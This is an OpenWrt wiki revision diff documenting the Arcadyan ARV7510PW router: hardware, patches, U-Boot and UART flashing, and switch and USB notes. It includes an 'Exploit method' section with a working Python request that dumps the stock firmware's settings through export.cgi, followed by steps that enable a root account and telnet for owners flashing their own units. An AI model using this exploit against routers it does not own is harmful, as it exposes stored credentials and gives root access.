User Tools

Site Tools


toh:arcadyan:arv7510pw

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revision Previous revision
Previous revision
toh:arcadyan:arv7510pw [2013/03/21 14:57]
toh:arcadyan:arv7510pw [2014/12/18 16:31] (current)
python1320 [VoIP] added an old package
Line 1: Line 1:
 ====== Arcadyan ARV7510PW ====== ====== Arcadyan ARV7510PW ======
  
-**Work ​in progress!**+The ARV7510PW is an ADSL2+ router with 802.11n wireless commonly obtained via the Finnish ISP Elisa (Elisa kotiboksi). It is a rebranded Bewan Ibox. There is also another similar device based on Arcadyan ARV4510PW. The only difference seems to be the wireless mini-PCI card, which in ARV4510PW is only 802.11bg capable (Atheros AR241x). From outside these can be distinguished by the antenna color: ARV7510PW has a black antenna, ARV4510PW white. There exists also an all-black ARV4510PW, the Wippies Homebox. Finally, there are also ARV4510PW models where the wireless chip is not on a mini-PCI card, but rather soldered directly on the main board. The wireless in these models is not (yet) supported due to the missing EEPROM.
  
-The ARV7510PW is an ADSL2+ router with 802.11n wireless commonly obtained via the Finnish ISP Elisa (Elisa kotiboksi). It is a rebranded Bewan Ibox. There is also another similar device based on Arcadyan ARV4510PW. The only difference seems to be the wireless mini-PCI card, which in ARV4510PW is only 802.11bg capable (Atheros AR5212). From outside these can be distinguished by the antenna color: ARV7510PW has a black antenna, ARV4510PW white. There exists also an all-black ARV4510PW, the Wippies Homebox.+===== OpenWrt Status =====
  
-===== OpenWRT Status ===== +OpenWrt runs perfectly with some additional patches (see below). Installation ​may require ​a serial connection. The router is practically unbrickable by virtue of the UART boot capability.
- +
-OpenWrt runs perfectly with some additional patches (see below). Installation ​requires ​a serial connection. The router is practically unbrickable by virtue of the UART boot capability.+
  
 ===== Hardware ===== ===== Hardware =====
Line 14: Line 12:
 | **Vendor:** | [[toh:​arcadyan|Arcadyan]] | | **Vendor:** | [[toh:​arcadyan|Arcadyan]] |
 | **Bootloader:​** | [[doc:​techref:​bootloader:​brnboot]] | | **Bootloader:​** | [[doc:​techref:​bootloader:​brnboot]] |
-| **System-On-Chip:​** | Infineon/​[[doc:​hardware:​soc:​soc.lantiq|Lantiq]] Xway Danube (PSB 50702 E V1.3)|+| **System-On-Chip:​** | Infineon/​[[doc:​hardware:​soc:​soc.lantiq|Lantiq]] Xway Danube (PSB 50702 E V1.3 or V1.4)|
 | **CPU Speed:** | 333 MHz | | **CPU Speed:** | 333 MHz |
 | **Flash chip:** | Intel JS28F128J3D-75 | | **Flash chip:** | Intel JS28F128J3D-75 |
Line 24: Line 22:
 | **Ethernet:​** | Infineon ADM6996I, 4x LAN 100 Mbps | | **Ethernet:​** | Infineon ADM6996I, 4x LAN 100 Mbps |
 | **Wireless:​** | Ralink RT2860T, 802.11n 300 Mbps, 2.4 GHz, 2 antennas | | **Wireless:​** | Ralink RT2860T, 802.11n 300 Mbps, 2.4 GHz, 2 antennas |
-| **Phone:** | 2x RJ11 |+| **Phone:** | 2x RJ11  |
 | **Serial:** | yes (with header) | | **Serial:** | yes (with header) |
 | **JTAG:** | yes (no header) | | **JTAG:** | yes (no header) |
Line 31: Line 29:
 ===== Building OpenWrt ===== ===== Building OpenWrt =====
  
-The OpenWrt patches apply against the Attitude Adjustment branch of OpenWrt. The U-Boot ​patch applies against the current trunk. +Suitable ​U-Boot ​can be found under Boot Loaders ​-> uboot-lantiq-arv7510pw_nor/ram (works also with ARV4510PW)NOR-version will be installed to flash, RAM-version can be used with the UART boot option.
-[[http://​ltl.tkk.fi/​~malaakso/​misc/​0026-MTD-NO_XIP.patch|OpenWrt patch 1]] +
-[[http://​ltl.tkk.fi/​~malaakso/​misc/​0027-fix-pci-req-mask.patch|OpenWrt patch 2]] +
-[[http://ltl.tkk.fi/​~malaakso/​misc/​0028-arv7510pw.patch|OpenWrt patch 3]] +
-[[http://​ltl.tkk.fi/​~malaakso/​misc/​0030-MIPS-add-board-support-for-Arcadyan-ARV7510.patch|U-Boot patch]]+
  
-In addition the OpenWrt Makefiles must be modified to produce images ​for ARV7510PW.+Following patches ​for trunk are needed: 
 +   * [[http://​ltl.tkk.fi/​~malaakso/​misc/​lantiq_mei.patch|Improve memory usage of ADSL driver]] Prevent out-of-memory errors when loading ADSL firmware. 
 +   * [[http://​ltl.tkk.fi/​~malaakso/​misc/​disable_jffs2_lzma.patch|Disable LZMA compression in JFFS2]] Workaround bug [[https://​dev.openwrt.org/​ticket/​14839|#​14839]]. 
 +   * [[http://​ltl.tkk.fi/​~malaakso/​misc/​disable-buffered.patch|Disable buffered writes to flash]] Prevent jffs2 corruption.
  
-Pre-built ​images ​(includes ​Luciare available+Pre-built ​image for trunk (includes ​luci and kmod-ath5k): 
-[[http://​ltl.tkk.fi/​~malaakso/​misc/​openwrt-lantiq-arv7510pw_ram-u-boot.asc|U-Boot RAM image]] +   * [[http://​ltl.tkk.fi/​~malaakso/​misc/​openwrt-lantiq-xway-ARV4510PW-squashfs.image|OpenWrt ​image]] 
-[[http://​ltl.tkk.fi/​~malaakso/​misc/​openwrt-lantiq-arv7510pw_nor-u-boot.img|U-Boot flash image]] +Pre-built U-Boot: 
-[[http://​ltl.tkk.fi/​~malaakso/​misc/​openwrt-lantiq-danube-ARV7510PW-squashfs.image|OpenWrt ​image]]+   ​* ​[[http://​ltl.tkk.fi/​~malaakso/​misc/​openwrt-lantiq-arv7510pw_nor-u-boot.img|NOR-version]] 
 +   * [[http://​ltl.tkk.fi/​~malaakso/​misc/​openwrt-lantiq-arv7510pw_ram-u-boot.asc|RAM-version]] 
 + 
 +Official ​OpenWrt ​images for [[https://​downloads.openwrt.org/​barrier_breaker/​14.07/​lantiq/​xway/​|lantiq xway]] may also work. Bleeding edge testing version can be downloaded from [[https://​downloads.openwrt.org/​snapshots/​trunk/​lantiq/​|here]].
  
 ===== Installation ===== ===== Installation =====
 +
 +==== Exploit method ====
 +
 +Older versions of the original firmware have a security exploit, which gives access to a flat text version of the router settings.
 +
 +Run this python3 script to check if the router is vulnerable
 +<​code>​
 +import urllib.request
 +req = urllib.request.Request('​http://​192.168.1.1/​cgi-bin/​export.cgi?​Save=%3E+Back+up+your+parameterss&​sExportMode=text&​iExpert=3&​sSuccessPage=backup.htm&​sErrorPage=backup.htm'​)
 +req.add_header('​Referer',​ '​http://​192.168.1.1/​en_US/​admin/​backup.htm'​)
 +r = urllib.request.urlopen(req)
 +f = open('​router.txt',​ '​wb'​)
 +f.write(r.read())
 +f.close()
 +</​code>​
 +If it doesn'​t produce any errors:
 +  - Open the produced router.txt with your favourite editor.
 +  - Set UserTable_1_Unix_Enable to 1
 +  - Set UserTable_1_Unix_Password to $1$xopJA6FB$fJnqEswAbH0SDg.sPLUKf.
 +  - Set Services_Telnet_Enable to 1
 +  - Save the file and upload as you would with a standard backup
 +
 +Do not continue if you aren't willing or able to use UART method:
 +  - Copy ''​openwrt-lantiq-arv7510pw_nor-u-boot.img''​ and ''​openwrt-lantiq-xway-ARV4510PW-squashfs.image''​ onto a fat32 usb drive
 +  - Plug the usb drive into the router
 +  - telnet into the router as root with password as password
 +  - cd into the usb drive (can be found with mount)
 +  - umount /dev/rd/0
 +  - dd if=/​dev/​mtd/​0 bs=1 of=routerBackup.bin
 +  - dd if=openwrt-lantiq-arv7510pw_nor-u-boot.img bs=1 of=/​dev/​mtdblock/​0
 +  - dd if=openwrt-lantiq-xway-ARV4510PW-squashfs.image bs=1 seek=393216 of=/​dev/​mtdblock/​0
 +  - wait a while
 +  - reboot
 +
 +After installation you should set your MAC-addresses with the commands
 +<​code>​
 +uci set network.lan.macaddr=xx:​xx:​xx:​xx:​xx:​xx
 +uci set network.wan.macaddr=xx:​xx:​xx:​xx:​xx:​xx
 +uci commit
 +</​code>​
 +and reboot.
 +
 +
 +==== UART method ====
  
 The installation procedure in short: The installation procedure in short:
Line 53: Line 97:
   - Use the installed U-Boot to install OpenWrt to flash   - Use the installed U-Boot to install OpenWrt to flash
  
-==== Preparation ​====+=== Preparation ===
  
-You need a RS232-to-TTL cable connected to the serial header shown in the picture below. Short the UART boot pins with two jumper caps.+You need a RS232-to-TTL cable connected to the serial header shown in the picture below. Short the UART boot pins with two jumper caps. If the router misbehaves, remove the Vcc-cable, but leave ground attached
  
 {{:​media:​arv7510pw_top.jpg|}} {{:​media:​arv7510pw_top.jpg|}}
  
-Start TFTP server on your computer and copy ''​openwrt-lantiq-arv7510pw_nor-u-boot.img''​ and ''​openwrt-lantiq-danube-ARV7510PW-squashfs.image''​ to the TFTP server root. Connect your computer to the router with an ethernet cable and configure the IP address to 192.168.1.2,​ netmask 255.255.255.0.+Start TFTP server on your computer and copy ''​openwrt-lantiq-arv7510pw_nor-u-boot.img''​ and ''​openwrt-lantiq-xway-ARV4510PW-squashfs.image''​ to the TFTP server root. Connect your computer to the router with an ethernet cable and configure the IP address to 192.168.1.2,​ netmask 255.255.255.0.
  
-==== Loading U-Boot ​====+=== Loading U-Boot ===
  
-Use 115200 ​bps, 8-N-1, no flow controlas the serial connection ​parameter.+Use baud rate 115200, 8-N-1, no flow control as the serial connection ​parameters.
  
-Power on the router. You should see+Power on the router. You should see the following on the serial output.
 <​code>​ <​code>​
 ROM VER: 1.0.3 ROM VER: 1.0.3
Line 73: Line 117:
 UART UART
 </​code>​ </​code>​
-on the serial output.+The router now waits for bootloader code. Send ''​openwrt-lantiq-arv7510pw_ram-u-boot.asc''​ as raw ascii to the router. U-Boot should start. Press any key to stop autoboot when prompted.
  
-Send ''​openwrt-lantiq-arv7510pw_ram-u-boot.asc''​ as raw ascii to the router. U-Boot should start. Press any key to stop autoboot. ​At this point you can make a backup of the original firmware using ''​md.l 0xb0000000 0x1000000''​ and logging the output (takes roughly 2 hours). The flash can be erased by issuing first ''​protect off all''​ and then ''​erase all''​. Use first ''​setenv ipaddr 192.168.1.1'',​ ''​setenv serverip 192.168.1.2''​ and ''​setenv ethaddr xx:​xx:​xx:​xx:​xx:​xx''​ (ethernet address can be found from the sticker on top of the switch ports) to configure the network, and then ''​tftp 0x80700000 openwrt-lantiq-arv7510pw_nor-u-boot.img''​ to transfer the actual U-Boot image to memory. Write it to flash using ''​cp.l 0x80700000 0xb0000000 ${filesize}''​. Power off the router and remove the jumper caps from UART boot pins.+At this point you can make a backup of the original firmware using ''​md.l 0xb0000000 0x1000000''​ and logging the output (takes roughly 2 hours). ​
  
-==== Loading OpenWrt ====+To flash u-boot now, run the following in the bootloader'​s shell 
 +<​code>​ 
 +# remove flash protection 
 +protect off all 
 +# erase all flash (also the bootloader) 
 +erase all 
 +# set bootloader ip-address to connect from 
 +setenv ipaddr 192.168.1.1 
 +# Set the ip-address to load the bootloader from 
 +setenv serverip 192.168.1.2 
 +# Ethernet address can be found from the sticker on top of the switch ports 
 +setenv ethaddr 00:​01:​02:​03:​04:​05 
 +# Download bootloader to ram 
 +tftp 0x80700000 openwrt-lantiq-arv7510pw_nor-u-boot.img 
 +# Write bootloader to permanent flash memory 
 +cp.b 0x80700000 0xb0000000 ${filesize} 
 +</​code>​
  
-Power on the router. The U-Boot installed in the previous step should start. Press any key to stop autoboot. Use again ''​setenv ipaddr 192.168.1.1'',​ ''​setenv serverip 192.168.1.2''​ and ''​setenv ethaddr xx:​xx:​xx:​xx:​xx:​xx''​ to configure the network. Use ''​saveenv''​ to save these to flash. Use ''​tftp 0x80700000 openwrt-lantiq-danube-ARV7510PW-squashfs.image''​ to transfer the actual U-Boot image to memory. Write it to flash using ''​cp.l 0x80700000 0xb0060000 ${filesize}''​. Use ''​reset''​ to reset the board. Watch as U-Boot loads OpenWrt ​and proceed to configure it to your liking!+=== Loading ​OpenWrt ​===
  
-===== Deficiencies of the default ​OpenWrt ​configuration =====+Power on the router. The U-Boot installed in the previous step should start. Press any key to stop autoboot.  
 +Run the following to now load openwrt firmware: 
 +<​code>​ 
 +setenv ipaddr 192.168.1.1 
 +setenv serverip 192.168.1.2 
 +setenv ethaddr 00:​01:​02:​03:​04:​05 
 +# Save environment settings to the bootloader'​s memory 
 +saveenv 
 +# Download openwrt to ram 
 +tftp 0x80700000 openwrt-lantiq-xway-ARV4510PW-squashfs.image 
 +# Write openwrt to permanent flash memory 
 +cp.b 0x80700000 0xb0060000 ${filesize} 
 +# reboot router to boot to openwrt 
 +reset 
 +</​code>​ 
 +Watch as U-Boot loads OpenWrt ​and proceed to configure it to your liking! ​
  
-  * Both buttons are configured to reset the device ​to default settings=> Remove or modify ''/​etc/​hotplug.d/​button/​10-generic.sh''​+The router is usable after it finishes cleanup: 
-  ​* The network switch configuration for VLANs is missing=> Insert ​the ''​switch'' ​and ''​switch_vlan''​ sections to ''​/etc/​config/​network''​+<​code>​ 
-  * LEDs are not configured.+[  127.012000] jffs2_scan_eraseblock():​ End of filesystem marker found at 0x0 
 +[  127.020000] jffs2_build_filesystem():​ unlocking ​the mtd device... ​done
 + 157.432000] jffs2_build_filesystem():​ erasing all blocks after the end marker... done. 
 +[  206.468000] jffs2: notice: (1273) jffs2_build_xattr_subsystem:​ complete building xattr subsystem, 0 of xdatum (0 unchecked, 0 orphan) ​and 0 of xref (0 dead, 0 orphan) found. 
 +procd: - init complete - 
 +</code> 
 + 
 +To reflash a new version without erasing bootloader or bootloader settings (this is only for subsequent debricking of the router):<​code>​ 
 +tftp 0x80700000 openwrt-lantiq-xway-ARV4510PW-squashfs.image 
 +erase 0xb0060000 +${filesize} 
 +cp.b 0x80700000 0xb0060000 ${filesize} 
 +bootm 0xb0060000 
 +</​code>​
  
 ===== Hardware notes ===== ===== Hardware notes =====
  
-The internal switch port numbering is opposite from the one printed on the box. Port 0 corresponds to the port labeled as "Port 4/​Uplink"​. Port 5 is connected to the CPU. If you wish to use the uplink port as WAN, you need a VLAN config+==== Switch ==== 
 +The internal switch port numbering is opposite from the one printed on the box. Port 0 corresponds to the port labeled as "Port 4/​Uplink"​. Port 5 is connected to the CPU. If you wish to use the uplink port as WAN with IP address obtained by DHCP, you need to modify the network configuration as follows
 <​code>​ <​code>​
-config ​switch_vlan "eth0_1+uci set network.@switch_vlan[0].ports="1 2 3 5t
-        ​option ​device ​  eth0 +uci add network switch_vlan 
-        ​option vlan     +uci set network.@switch_vlan[1].device=switch0 
-        ​option ​ports    "1 2 3 5t"+uci set network.@switch_vlan[1].vlan=2 
 +uci set network.@switch_vlan[1].ports="5t" 
 +uci set network.wan.ifname=eth0.2 
 +uci set network.wan.proto=dhcp 
 +uci delete network.wan.username 
 +uci delete network.wan.password 
 +uci delete network.wan.ipv6 
 +uci commit 
 +reboot 
 +</​code>​
  
-config switch_vlan "​eth0_2"​ +==== USB ==== 
-        option ​device ​  ​eth0 +The power supply of the USB ports may be inadequate for LTE sticks or other USB devices demanding high currents. Replacing the 47 µF electrolytic capacitors connected to pin 1 of the USB ports with 1000 µF/10 V low-ESR models will allow the router to handle high current pulses. Another ​option ​is to use a powered USB hub. 
-        ​option vlan     ​2 + 
-        ​option ports    "0 5t"+The usb-ethernet port (standard B type USB, USB2) is unpowered and not usable at the moment. It requires usb-gadget support to function as the usb-ethernet port. 
 +You would at least need to enable the following in kernel configuration and then ''​modprobe g_ether''​ 
 +<​code>​ 
 +<M> Support for USB Gadgets  
 +<​M> ​  ​Ethernet Gadget (with CDC Ethernet support) 
 +[*]     ​RNDIS support (EXPERIMENTAL) 
 +</​code>​ 
 + 
 +==== GPIO ==== 
 +Some units generate spurious button presses, which lead to reboots or other problems. Enabling the Schmitt-trigger may help. This can be achieved by modifying the U-Boot boot command and saving the modification to flash: 
 +<​code>​ 
 +setenv bootcmd 'mw.l 0xbe100b28 0x4008; bootm ${kernel_addr}'​ 
 +saveenv
 </​code>​ </​code>​
-and then set ''​eth0.2''​ as the WAN interface and ''​eth0.1''​ as the LAN interface. 
  
-The standard B type USB port (USB2) requires a B male/A female adapter to be usedMoreover, ​it seems to be unpowered, although there could be an as yet unidentified GPIO for controlling ​the power.+==== ADSL ==== 
 +Units with V1.4 of the Danube SoC may become unstable when the ADSL status is queried. In this case it is recommended ​to edit the file /​usr/​lib/​lua/​luci/​view/​admin_status/​index.htm and change the reference to /​etc/​init.d/​dsl_control to point to a non-existent file.
  
 +==== VoIP ====
 +The VoIP ports seem to be working in the latest OpenWrt release.
 +Interesting packages for potential VoIP support include:
 +  * kmod-ltq-tapi
 +  * kmod-ltq-vmmc
 +  * kmod-ltq-ifxos
 +  * asterisk18-chan-lantiq
 +  * https://​code.google.com/​p/​danube-voip/​
 ===== Original firmware ===== ===== Original firmware =====
  
Line 124: Line 241:
  
 Serial output from booting original firmware: Serial output from booting original firmware:
 +<​HTML>​
 +<p style="​padding:​ 10px;​border:​1px solid grey;​height:​500px;​font:​10px/​14px Georgia, Garamond, Serif;​overflow:​Auto;​background-color:#​FFFFFF">​
 <​code>​ <​code>​
 ROM VER: 1.0.3 ROM VER: 1.0.3
Line 602: Line 721:
 Starting pid 2383, console /dev/null: '/​bin/​lighttpd'​ Starting pid 2383, console /dev/null: '/​bin/​lighttpd'​
 </​code>​ </​code>​
 +</p>
 +</​HTML>​
 +
 +===== Tags =====
 +{{tag>​lantiq danube ADSL2+}}
toh/arcadyan/arv7510pw.1363874272.txt.bz2 · Last modified: 2013/03/21 14:57 (external edit)